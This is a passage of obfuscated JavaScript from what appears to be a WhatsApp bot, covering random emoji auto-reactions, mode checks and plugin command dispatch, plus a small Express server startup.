🐌','🐚','🌿','🌸','💐','🌹','🌺','🌻','🌴','🌳','🌲','🌾','🌿','🍃','🍂','🍃','🌻','💐','🌹','🌺','🌸','🌴','🏵','🎀','🏆','🏈','🏉','🎯','🏀','🏊','🏋','🏌','🎲','📚','📖','📜','📝','💭','💬','🗣','💫','🌟','🌠','🎉','🎊','👏','💥','🔥','💥','🌪','💨','🌫','🌬','🌩','🌨','🌧','🌦','🌥','🌡','🌪','🌫','🌬','🌩','🌨','🌧','🌦','🌥','🌡','🌪','🌫','🌬','🌩','🌨','🌧','🌦','🌥','🌡','🌱','🌿','🍃','🍂','🌻','💐','🌹','🌺','🌸','🌴','🏵','🎀','🏆','🏈','🏉','🎯','🏀','🏊','🏋','🏌','🎲','📚','📖','📜','📝','💭','💬','🗣','💫','🌟','🌠','🎉','🎊','👏','💥','🔥','💥','🌪','💨','🌫','🌬','🌩','🌨','🌧','🌦','🌥','🌡','🌪','🌫','🌬','🌩','🌨','🌧','🌦','🌥','🌡','🕯️','💡','🔦','🔧','🔨','🔩','🔪','🔫','👑','👸','🤴','👹','🤺','🤻','👺','🤼','🤽','🤾','🤿','🦁','🐴','🦊','🐺','🐼','🐾','🐿','🦄','🦅','🦆','🦇','🦈','🐳','🐋','🐟','🐠','🐡','🐙','🐚','🐜','🐝','🐞',_0x5924c2(0x1d1),'🦋','🐛','🐌','🐚','🌿','🌸','💐','🌹','🌺','🌻','🌴','🏵','🏰','🏠','🏡','🏢','🏣','🏥','🏦','🏧','🏨','🏩','🏪','🏫','🏬','🏭','🏮','🏯','🚣','🛥','🚂','🚁','🚀','🛸','🛹','🚴','🚲','🛺','🚮','🚯','🚱','🚫','🚽',_0x5924c2(0xe1),'💣','🔫',_0x5924c2(0x1d1),_0x5924c2(0x121),'💀','👻','🕺','💃',_0x5924c2(0x178),'👶','👵','👴','👱','👨','👩','👧','👦','👪','👫','👭','👬','👮',_0x5924c2(0x178),'💼','📊','📈','📉','📊','📝','📚','📰','📱','💻','📻','📺','🎬',_0x5924c2(0x214),'📸','📷',_0x5924c2(0x11f),'💡','🔦','🔧','🔨','🔩','🔪','🔫','👑','👸','🤴','👹','🤺','🤻','👺','🤼','🤽','🤾','🤿','🦁','🐴','🦊','🐺','🐼','🐾','🐿','🦄','🦅','🦆','🦇','🦈','🐳','🐋','🐟','🐠','🐡','🐙','🐚','🐜','🐝','🐞','🕷️','🦋','🐛','🐌','🐚','🌿','🌸','💐','🌹','🌺','🌻','🌴','🏵','🏰','🐒','🦍','🦧','🐶','🐕','🦮',_0x5924c2(0x19a),'🐩','🐺','🦊','🦝','🐱','🐈',_0x5924c2(0x213),'🦁','🐯','🐅','🐆','🐴','🐎','🦄','🦓','🦌','🦬','🐮','🐂','🐃','🐄','🐷','🐖','🐗','🐽','🐏','🐑','🐐','🐪','🐫','🦙','🦒','🐘','🦣','🦏','🦛','🐭','🐁','🐀','🐹','🐰','🐇',_0x5924c2(0x232),'🦫','🦔','🦇','🐻',_0x5924c2(0x1fb),'🐨','🐼','🦥','🦦','🦨','🦘','🦡','🐾','🦃','🐔','🐓','🐣','🐤','🐥','🐦','🐧',_0x5924c2(0x19b),'🦅','🦆','🦢','🦉','🦤','🪶','🦩','🦚','🦜','🐸','🐊','🐢','🦎','🐍','🐲','🐉','🦕','🦖','🐳','🐋','🐬','🦭','🐟','🐠','😀','😃','😄','😁','😆','😅','🤣','😂','🙂','🙃','😉','😊','😇','🥰','😍','🤩','😘','😗','☺️','😚','😙','🥲','😋','😛','😜','🤪','😝','🤑','🤗','🤭','🤫','🤔','🤐','🤨','😐','😑','😶',_0x5924c2(0x9b),'😏','😒','🙄','😬',_0x5924c2(0x15b),'🤥','😌','😔','😪','🤤','😴','😷','🤒','🤕','🤢','🤮','🤧','🥵','🥶','🥴','😵',_0x5924c2(0xe5),'🤯','🤠','🥳','🥸','😎','🤓','🧐','😕','😟','🙁','☹️','😮','😯','😲','😳','🥺','😦','😧','😨','😰','😥','😢','😭','😱','😖','😣','😞','😓','😩','😫','🥱','😤','😡','😠','🤬','😈','👿','💀','☠️','💩','🤡','👹','👺','👻','👽','👾','🤖','😺','😸','😹','😻','😼','😽','🙀','😿','😾','🙈','🙉','🙊','💋','💌','💘','💝','💖','💗','💓','💞','💕','💟','❣️','💔',_0x5924c2(0x133),_0x5924c2(0xe0),'❤️','🧡','💛','💚','💙','💜','🤎','����','🤍','💯','💢','💥','💫','💦','💨','🕳️','💣','💬',_0x5924c2(0xfd),'🗨️','🗯️','💭','💤','👋','🤚',_0x5924c2(0x18c),'✋','🖖','👌','🤌','🤏','✌️','🤞','🤟','🤘','🤙','👈','👉','👆','🖕','👇','☝️','👍','👎','✊','👊','🤛','🤜','👏','🙌','👐','🤲','🤝','🙏','✍️','💅','🤳','💪','🦾','🦿','🦵','🦶','👂','🦻','👃','🧠','🫀','🫁','🦷','🦴','👀',_0x5924c2(0xd3),'👅','👄','👶','🧒','👦','👧','🧑','👱','👨','🧔','🧔‍♂️','🧔‍♀️',_0x5924c2(0x1e5),_0x5924c2(0x125),'👨‍🦳',_0x5924c2(0x169),'👩','👩‍🦰',_0x5924c2(0xb2),_0x5924c2(0x170),_0x5924c2(0xd5),_0x5924c2(0x10a),_0x5924c2(0x1d4),_0x5924c2(0x1e8),'🧑‍🦲',_0x5924c2(0x1b2),_0x5924c2(0x1f9),'🧓','👴','👵','🙍',_0x5924c2(0x18d),_0x5924c2(0xb5),'🙎',_0x5924c2(0x143),_0x5924c2(0x208),'🙅',_0x5924c2(0x21b),_0x5924c2(0x1df),'🙆',_0x5924c2(0x18e),_0x5924c2(0xe2),'💁',_0x5924c2(0x161),_0x5924c2(0x114),'🙋',_0x5924c2(0x10e),'🙋‍♀️','🧏',_0x5924c2(0xe4),'🧏‍♀️','🙇','🙇‍♂️',_0x5924c2(0x140),'🤦',_0x5924c2(0xd7),'🤦‍♀️','🤷',_0x5924c2(0x166),_0x5924c2(0x11a),_0x5924c2(0x192),'👨‍⚕️',_0x5924c2(0x22a),_0x5924c2(0x20b),_0x5924c2(0x185),_0x5924c2(0x20c),_0x5924c2(0x149),_0x5924c2(0x167),_0x5924c2(0x173),'🧑‍⚖️',_0x5924c2(0x115),_0x5924c2(0x1ae),_0x5924c2(0x233),_0x5924c2(0x1b6),_0x5924c2(0x19c),_0x5924c2(0x176),_0x5924c2(0x1a7),_0x5924c2(0x136),_0x5924c2(0x12b),_0x5924c2(0xba),_0x5924c2(0x1e3),_0x5924c2(0x223),_0x5924c2(0x1f7),_0x5924c2(0xb0),'🧑‍💼',_0x5924c2(0x175),'👩‍💼','🧑‍🔬','👨‍🔬','👩‍🔬','🧑‍💻',_0x5924c2(0x113),'👩‍💻',_0x5924c2(0x177),'👨‍🎤','👩‍🎤','🧑‍🎨',_0x5924c2(0x105),_0x5924c2(0x1ce),_0x5924c2(0x209),_0x5924c2(0xf0),'👩‍✈️',_0x5924c2(0x1f8),_0x5924c2(0x212),_0x5924c2(0x1ee),_0x5924c2(0x15a),_0x5924c2(0x9c),'👩‍🚒','👮',_0x5924c2(0x205),_0x5924c2(0xab),_0x5924c2(0xa0),'🕵️‍♂️',_0x5924c2(0x198),'💂',_0x5924c2(0x207),'💂‍♀️','🥷','👷','👷‍♂️','👷‍♀️','🤴','👸','👳',_0x5924c2(0xa3),_0x5924c2(0x172),'👲','🧕','🤵',_0x5924c2(0xf1),_0x5924c2(0x1a8),'👰',_0x5924c2(0x1e2),_0x5924c2(0x11e),'🤰','🤱','👩‍🍼',_0x5924c2(0x1be),_0x5924c2(0x1a9),'👼','🎅','🤶',_0x5924c2(0x16c),'🦸','🦸‍♂️',_0x5924c2(0x9f),'🦹',_0x5924c2(0x15f),'🦹‍♀️','🧙',_0x5924c2(0x239),_0x5924c2(0x21c),'🧚',_0x5924c2(0x22c),_0x5924c2(0x1bf),'🧛',_0x5924c2(0xb4),_0x5924c2(0x14d),'🧜',_0x5924c2(0x1fa),_0x5924c2(0x1d3),'🧝',_0x5924c2(0xbc),_0x5924c2(0xdb),'🧞',_0x5924c2(0x16a),'🧞‍♀️','🧟',_0x5924c2(0xc4),_0x5924c2(0x196),'💆',_0x5924c2(0x193),_0x5924c2(0xee),'💇',_0x5924c2(0xa4),_0x5924c2(0x1a1),'🚶',_0x5924c2(0xd1),_0x5924c2(0x1ef),'🧍',_0x5924c2(0xe8),'🧍‍♀️','🧎',_0x5924c2(0xbe),_0x5924c2(0x128),_0x5924c2(0x1d7),_0x5924c2(0x1ab),'👩‍🦯',_0x5924c2(0xcd),_0x5924c2(0xfb),_0x5924c2(0x203),_0x5924c2(0xf5),_0x5924c2(0x20a),_0x5924c2(0x1cc),'🏃','🏃‍♂️',_0x5924c2(0xef),'💃','🕺','🕴️','👯',_0x5924c2(0x164),_0x5924c2(0xea),'🧖','🧖‍♂️','🧖‍♀️','🧗',_0x5924c2(0x174),'🧗‍♀️','🤺','🏇','⛷️','🏂',_0x5924c2(0x20f),'🏌️‍♂️',_0x5924c2(0xd6),'🏄',_0x5924c2(0x119),_0x5924c2(0xd2),'🚣',_0x5924c2(0x98),_0x5924c2(0x1ec),'🏊',_0x5924c2(0x17b),_0x5924c2(0x222),'⛹️',_0x5924c2(0xda),_0x5924c2(0x230),'🏋️',_0x5924c2(0x118),'🏋️‍♀️','🚴','🚴‍♂️',_0x5924c2(0x10b),'🚵',_0x5924c2(0x171),_0x5924c2(0x1ea),'🤸','🤸‍♂️',_0x5924c2(0xf8),'🤼',_0x5924c2(0xc7),'🤼‍♀️','🤽',_0x5924c2(0x1b9),_0x5924c2(0x20e),'🤾',_0x5924c2(0x225),_0x5924c2(0x1c3),'🤹',_0x5924c2(0xa6),_0x5924c2(0x1fd),'🧘',_0x5924c2(0x107),_0x5924c2(0x8e),'🛀','🛌',_0x5924c2(0x236),'👭','👫','👬','💏',_0x5924c2(0xb1),_0x5924c2(0xf3),_0x5924c2(0xa7),'💑','👩‍❤️‍👨',_0x5924c2(0x145),_0x5924c2(0x1e4),'👪','👨‍👩‍👦',_0x5924c2(0x1bc),'👨‍👩‍👧‍👦','👨‍👩‍👦‍👦','👨‍👩‍👧‍👧',_0x5924c2(0xdc),'👨‍👨‍👧',_0x5924c2(0x11d),'👨‍👨‍👦‍👦','👨‍👨‍👧‍👧',_0x5924c2(0xdf),_0x5924c2(0x135),_0x5924c2(0x22d),_0x5924c2(0x10c),'👩‍👩‍👧‍👧',_0x5924c2(0x160),_0x5924c2(0x158),_0x5924c2(0x15d),'👨‍👧‍👦','👨‍👧‍👧',_0x5924c2(0xa5),_0x5924c2(0x1e1),_0x5924c2(0x1ff),_0x5924c2(0xb7),_0x5924c2(0x1c2),'🗣️','👤','👥','🫂','👣','🦰','🦱','🦳','🦲','🐵'],_0x23d885=_0x16bcd8[Math[_0x5924c2(0x1a5)](Math['random']()*_0x16bcd8[_0x5924c2(0x13d)])];_0x14d8b5[_0x5924c2(0x190)](_0x23d885);}}if(!_0x1fff02&&_0xe84b8d!==_0x11bcf6){if(config[_0x5924c2(0x1cd)]===_0x5924c2(0x227)){const _0x2647be=(config[_0x5924c2(0x12f)]||_0x5924c2(0x130))[_0x5924c2(0x219)](','),_0x178c6d=_0x2647be[Math[_0x5924c2(0x1a5)](Math[_0x5924c2(0x1d0)]()*_0x2647be[_0x5924c2(0x13d)])];_0x14d8b5[_0x5924c2(0x190)](_0x178c6d);}}if(!_0x1fff02&&_0xe84b8d===_0x11bcf6){if(config['CUSTOM_REACT']===_0x5924c2(0x227)){const _0x13da6b=(config[_0x5924c2(0x12f)]||_0x5924c2(0x130))[_0x5924c2(0x219)](','),_0x1956a1=_0x13da6b[Math[_0x5924c2(0x1a5)](Math[_0x5924c2(0x1d0)]()*_0x13da6b['length'])];_0x14d8b5[_0x5924c2(0x190)](_0x1956a1);}}if(!_0x3e5e67&&config[_0x5924c2(0x11b)]===_0x5924c2(0x206))return;if(!_0x3e5e67&&_0x555819&&config[_0x5924c2(0x11b)]==='inbox')return;if(!_0x3e5e67&&!_0x555819&&config[_0x5924c2(0x11b)]===_0x5924c2(0x155))return;const _0x29c6f2=require(_0x5924c2(0x147)),_0x600200=_0x4f6dfd?_0xfa5d69[_0x5924c2(0x1c8)](0x1)[_0x5924c2(0x1b7)]()[_0x5924c2(0x219)]('\x20')[0x0][_0x5924c2(0x13e)]():![];if(_0x4f6dfd){const _0x2e950=_0x29c6f2[_0x5924c2(0x188)][_0x5924c2(0x110)](_0x1cda20=>_0x1cda20[_0x5924c2(0xd8)]===_0x600200)||_0x29c6f2[_0x5924c2(0x188)][_0x5924c2(0x110)](_0x35714f=>_0x35714f[_0x5924c2(0x237)]&&_0x35714f['alias'][_0x5924c2(0x220)](_0x600200));if(_0x2e950){if(_0x2e950[_0x5924c2(0x190)])_0x339093[_0x5924c2(0x200)](_0x42fde9,{'react':{'text':_0x2e950[_0x5924c2(0x190)],'key':_0x4a6ae3[_0x5924c2(0x187)]}});try{_0x2e950[_0x5924c2(0x13c)](_0x339093,_0x4a6ae3,_0x14d8b5,{'from':_0x42fde9,'quoted':_0x385430,'body':_0xfa5d69,'isCmd':_0x4f6dfd,'command':_0x5f2b52,'args':_0x28e903,'q':_0x6db9bb,'isGroup':_0x555819,'sender':_0x5202b4,'senderNumber':_0xe84b8d,'botNumber2':_0x469518,'botNumber':_0x11bcf6,'pushname':_0xc4eb9c,'isMe':_0x2ee056,'isOwner':_0x3e5e67,'groupMetadata':_0x2dfd3b,'groupName':_0x27501e,'participants':_0x1e5bf7,'groupAdmins':_0xae534a,'isBotAdmins':_0x590271,'isAdmins':_0x3de70b,'reply':_0x4e8795});}catch(_0x3dcb8b){console[_0x5924c2(0x16d)](_0x5924c2(0x226)+_0x3dcb8b);}}}_0x29c6f2[_0x5924c2(0x188)][_0x5924c2(0x1ed)](async _0x3b5bf5=>{const _0x1f6302=_0x5924c2;if(_0xfa5d69&&_0x3b5bf5['on']==='body')_0x3b5bf5['function'](_0x339093,_0x4a6ae3,_0x14d8b5,{'from':_0x42fde9,'l':l,'quoted':_0x385430,'body':_0xfa5d69,'isCmd':_0x4f6dfd,'command':_0x3b5bf5,'args':_0x28e903,'q':_0x6db9bb,'isGroup':_0x555819,'sender':_0x5202b4,'senderNumber':_0xe84b8d,'botNumber2':_0x469518,'botNumber':_0x11bcf6,'pushname':_0xc4eb9c,'isMe':_0x2ee056,'isOwner':_0x3e5e67,'groupMetadata':_0x2dfd3b,'groupName':_0x27501e,'participants':_0x1e5bf7,'groupAdmins':_0xae534a,'isBotAdmins':_0x590271,'isAdmins':_0x3de70b,'reply':_0x4e8795});else{if(_0x4a6ae3['q']&&_0x3b5bf5['on']===_0x1f6302(0x17e))_0x3b5bf5[_0x1f6302(0x13c)](_0x339093,_0x4a6ae3,_0x14d8b5,{'from':_0x42fde9,'l':l,'quoted':_0x385430,'body':_0xfa5d69,'isCmd':_0x4f6dfd,'command':_0x3b5bf5,'args':_0x28e903,'q':_0x6db9bb,'isGroup':_0x555819,'sender':_0x5202b4,'senderNumber':_0xe84b8d,'botNumber2':_0x469518,'botNumber':_0x11bcf6,'pushname':_0xc4eb9c,'isMe':_0x2ee056,'isOwner':_0x3e5e67,'groupMetadata':_0x2dfd3b,'groupName':_0x27501e,'participants':_0x1e5bf7,'groupAdmins':_0xae534a,'isBotAdmins':_0x590271,'isAdmins':_0x3de70b,'reply':_0x4e8795});else{if((_0x3b5bf5['on']===_0x1f6302(0x1f5)||_0x3b5bf5['on']===_0x1f6302(0xb9))&&_0x4a6ae3['type']==='imageMessage')_0x3b5bf5['function'](_0x339093,_0x4a6ae3,_0x14d8b5,{'from':_0x42fde9,'l':l,'quoted':_0x385430,'body':_0xfa5d69,'isCmd':_0x4f6dfd,'command':_0x3b5bf5,'args':_0x28e903,'q':_0x6db9bb,'isGroup':_0x555819,'sender':_0x5202b4,'senderNumber':_0xe84b8d,'botNumber2':_0x469518,'botNumber':_0x11bcf6,'pushname':_0xc4eb9c,'isMe':_0x2ee056,'isOwner':_0x3e5e67,'groupMetadata':_0x2dfd3b,'groupName':_0x27501e,'participants':_0x1e5bf7,'groupAdmins':_0xae534a,'isBotAdmins':_0x590271,'isAdmins':_0x3de70b,'reply':_0x4e8795});else _0x3b5bf5['on']===_0x1f6302(0x194)&&_0x4a6ae3[_0x1f6302(0x1f6)]===_0x1f6302(0x162)&&_0x3b5bf5[_0x1f6302(0x13c)](_0x339093,_0x4a6ae3,_0x14d8b5,{'from':_0x42fde9,'l':l,'quoted':_0x385430,'body':_0xfa5d69,'isCmd':_0x4f6dfd,'command':_0x3b5bf5,'args':_0x28e903,'q':_0x6db9bb,'isGroup':_0x555819,'sender':_0x5202b4,'senderNumber':_0xe84b8d,'botNumber2':_0x469518,'botNumber':_0x11bcf6,'pushname':_0xc4eb9c,'isMe':_0x2ee056,'isOwner':_0x3e5e67,'groupMetadata':_0x2dfd3b,'groupName':_0x27501e,'participants':_0x1e5bf7,'groupAdmins':_0xae534a,'isBotAdmins':_0x590271,'isAdmins':_0x3de70b,'reply':_0x4e8795});}}});});}app[_0x30c61c(0x182)]('/',(_0x159679,_0x3c7ff8)=>{const _0x2a7d23=_0x30c61c;_0x3c7ff8[_0x2a7d23(0xd9)](_0x2a7d23(0x168));}),app['listen'](port,()=>console['log'](_0x30c61c(0x1da)+port)),setTimeout(()=>{connectToWA();},0xfa0); \ No newline at end of file